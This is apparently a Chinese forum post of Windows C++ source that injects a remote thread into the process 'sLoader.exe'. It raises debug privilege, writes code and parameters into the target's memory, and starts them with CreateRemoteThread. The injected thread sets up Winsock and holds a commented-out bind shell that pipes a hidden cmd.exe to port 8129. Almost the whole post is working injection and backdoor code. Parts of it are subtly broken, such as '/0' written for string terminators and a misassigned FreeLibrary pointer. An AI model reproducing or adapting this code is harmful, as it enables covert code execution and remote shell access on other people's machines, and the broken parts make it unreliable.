//---------------------------------------------------------------------------<br><br>#include <vcl.h><br>#pragma hdrstop<br>#include <winsock2.h><br>//---------------------------------------------------------------------------<br>#include<windows.h><br>#include<Shlwapi.h><br>#include<tlhelp32.h><br><br>#pragma comment(lib,"Shlwapi.lib")<br>#pragma hdrstop<br><br>//参数结构 ; <br>typedef struct _RemotePara{ <br>DWORD dwLoadLibrary;<br>DWORD dwFreeLibrary;<br>DWORD dwGetProcAddress;<br>DWORD dwGetModuleHandle;<br>DWORD dwWSAStartup;<br>DWORD dwSocket;<br>DWORD dwhtons;<br>DWORD dwbind;<br>DWORD dwlisten;<br>DWORD dwaccept;<br>DWORD dwsend;<br>DWORD dwrecv;<br>DWORD dwclosesocket;<br>DWORD dwCreateProcessA;<br>DWORD dwPeekNamedPipe;<br>DWORD dwWriteFile;<br>DWORD dwReadFile;<br>DWORD dwCloseHandle;<br>DWORD dwCreatePipe;<br>DWORD dwTerminateProcess;<br><br>DWORD dwMessageBox;<br>char strMessageBox[12];<br>char winsockDll[16];<br>char cmd[10];<br>char Buff[4096];<br>char telnetmsg[60];<br><br>}RemotePara; <br><br>BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); // 提升应用级调试权限 <br>DWORD GetPidByName(char *szName); // 根据进程名称得到进程ID<br><br>// 远程线程执行体<br>DWORD __stdcall ThreadProc(RemotePara *Para){<br> WSADATA WSAData;<br> SOCKET listenSocket, clientSocket;<br> struct sockaddr_in server_addr, client_addr;<br> int iAddrSize = sizeof(client_addr);<br> SECURITY_ATTRIBUTES sa;<br> HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;<br> STARTUPINFO si;<br> PROCESS_INFORMATION ProcessInformation;<br> unsigned long lBytesRead = 0;<br> typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);<br> typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);<br> typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );<br> typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);<br><br>FARPROC PMessageBoxA;<br>//FARPROC PWSAStartup;<br>FARPROC PSocket;<br>FARPROC Phtons;<br>FARPROC Pbind;<br>FARPROC Plisten;<br>FARPROC Paccept;<br>FARPROC Psend;<br>FARPROC Precv;<br>FARPROC Pclosesocket;<br>FARPROC PCreateProcessA;<br>FARPROC PPeekNamedPipe;<br>FARPROC PWriteFile;<br>FARPROC PReadFile;<br>FARPROC PCloseHandle;<br>FARPROC PCreatePipe;<br>FARPROC PTerminateProcess;<br><br>PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary;<br>PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress;<br>PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwLoadLibrary;<br>PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle;<br><br>LoadLibraryFunc(Para->winsockDll);<br> typedef int (WINAPI *P_libiconv_version); //0<br> typedef int (WINAPI *PWW)(WORD,LPWSADATA);<br>PWW PWSAStartup = (PWW)Para->dwWSAStartup;<br><br>//PWSAStartup = (FARPROC)Para->dwWSAStartup;<br><br>PSocket = (FARPROC)Para->dwSocket;<br>Phtons = (FARPROC)Para->dwhtons;<br>Pbind = (FARPROC)Para->dwbind;<br>Plisten = (FARPROC)Para->dwlisten;<br>Paccept = (FARPROC)Para->dwaccept;<br>Psend = (FARPROC)Para->dwsend;<br>Precv = (FARPROC)Para->dwrecv;<br>Pclosesocket = (FARPROC)Para->dwclosesocket;<br>PCreateProcessA = (FARPROC)Para->dwCreateProcessA;<br>PPeekNamedPipe = (FARPROC)Para->dwPeekNamedPipe;<br>PWriteFile = (FARPROC)Para->dwWriteFile;<br>PReadFile = (FARPROC)Para->dwReadFile;<br>PCloseHandle = (FARPROC)Para->dwCloseHandle;<br>PCreatePipe = (FARPROC)Para->dwCreatePipe;<br>PTerminateProcess = (FARPROC)Para->dwTerminateProcess;<br><br>PMessageBoxA = (FARPROC)Para->dwMessageBox;<br><br> //PWSAStartup((WORD)((1<<8)|1), (LPWSADATA)&WSAData);<br><br> PWSAStartup(MAKEWORD(2,2),&WSAData);<br><br>/*<br>listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);<br>if(listenSocket == INVALID_SOCKET)return 0;<br><br>server_addr.sin_family = AF_INET;<br>server_addr.sin_port = Phtons((unsigned short)(8129));<br>server_addr.sin_addr.s_addr = INADDR_ANY;<br><br>if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;<br>if(Plisten(listenSocket, 5))return 0;<br>clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize);<br>// Psend(clientSocket, Para->telnetmsg, 60, 0);<br><br>if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0;<br>if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;<br><br>ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用<br>si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;<br>si.wShowWindow = SW_HIDE;<br>si.hStdInput = hReadPipe2;<br>si.hStdOutput = si.hStdError = hWritePipe1;<br><br>if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation))return 0;<br>while(1) {<br>memset(Para->Buff,0,4096);<br>PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead,0,0);<br>if(lBytesRead) {<br>if(!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0))break;<br>if(!Psend(clientSocket, Para->Buff, lBytesRead, 0))break;<br>}else {<br>lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0);<br>if(lBytesRead <=0 ) break;<br>if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;<br>}<br>}<br> */<br><br>//PCloseHandle(hWritePipe2);<br>//PCloseHandle(hReadPipe1);<br>//PCloseHandle(hReadPipe2);<br>//PCloseHandle(hWritePipe1);<br>//Pclosesocket(listenSocket);<br>//Pclosesocket(clientSocket);<br><br>// PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK);<br><br>return 0; <br>}<br><br>int APIENTRY WinMain(HINSTANCE hInstance,<br>HINSTANCE hPrevInstance,<br>LPSTR lpCmdLine,<br>int nCmdShow)<br>{ <br>const DWORD THREADSIZE=1024*4;<br>DWORD byte_write; <br>void *pRemoteThread;<br>HANDLE hToken,hRemoteProcess,hThread;<br>HINSTANCE hKernel,hUser32,hSock;<br>RemotePara myRemotePara,*pRemotePara; <br>DWORD pID;<br><br>OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);<br>EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);<br><br>// 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESS<br>pID = GetPidByName("sLoader.exe");<br>if(pID == 0)return 0;<br>hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID); <br>if(!hRemoteProcess)return 0; <br><br>// 在远程进程地址空间分配虚拟内存<br>pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);<br>if(!pRemoteThread)return 0; <br><br>// 将线程执行体ThreadProc写入远程进程<br>if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0;<br><br>ZeroMemory(&myRemotePara,sizeof(RemotePara)); <br>hKernel = LoadLibrary( "kernel32.dll"); <br>myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA"); <br>myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");<br>myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");<br>myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");<br><br>myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");<br>myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");<br>myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");<br>myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");<br>myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");<br>myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");<br>myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");<br><br>hSock = LoadLibrary("wsock32.dll");<br>myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");<br>myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");<br>myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");<br>myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");<br>myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");<br>myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");<br>myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");<br>myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");<br>myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");<br><br>hUser32 = LoadLibrary("user32.dll");<br>myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA"); <br><br>strcat(myRemotePara.strMessageBox,"Sucess!/0"); <br>strcat(myRemotePara.winsockDll,"wsock32.dll/0");<br>strcat(myRemotePara.cmd,"cmd.exe/0"); <br>strcat(myRemotePara.telnetmsg,"Connect Sucessful!/n/0"); <br><br>//写进目标进程 <br>pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);<br>if(!pRemotePara)return 0; <br>if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0; <br><br>// 启动线程 <br>hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write); <br><br>FreeLibrary(hKernel);<br>FreeLibrary(hSock);<br>FreeLibrary(hUser32);<br>CloseHandle(hRemoteProcess);<br>CloseHandle(hToken);<br><br>return 0; <br>}<br><br>BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){<br>TOKEN_PRIVILEGES tp;<br>tp.PrivilegeCount = 1;<br>LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid);<br>tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;<br>AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);<br>return((GetLastError() == ERROR_SUCCESS));<br>}<br><br>DWORD GetPidByName(char *szName)<br>{<br>HANDLE hProcessSnap = INVALID_HANDLE_VALUE;<br>PROCESSENTRY32 pe32={0};<br>DWORD dwRet=0;<br><br>hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br>if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;<br><br>pe32.dwSize = sizeof(PROCESSENTRY32);<br>if(Process32First(hProcessSnap, &pe32))<br>{<br>do<br>{<br>if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)<br>{<br>dwRet=pe32.th32ProcessID;<br>break;<br>}<br>}while (Process32Next(hProcessSnap,&pe32));<br>}<br>else return 0;<br><br>if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);<br>return dwRet;<br>}<br><br>应该是类似这个的方法<br>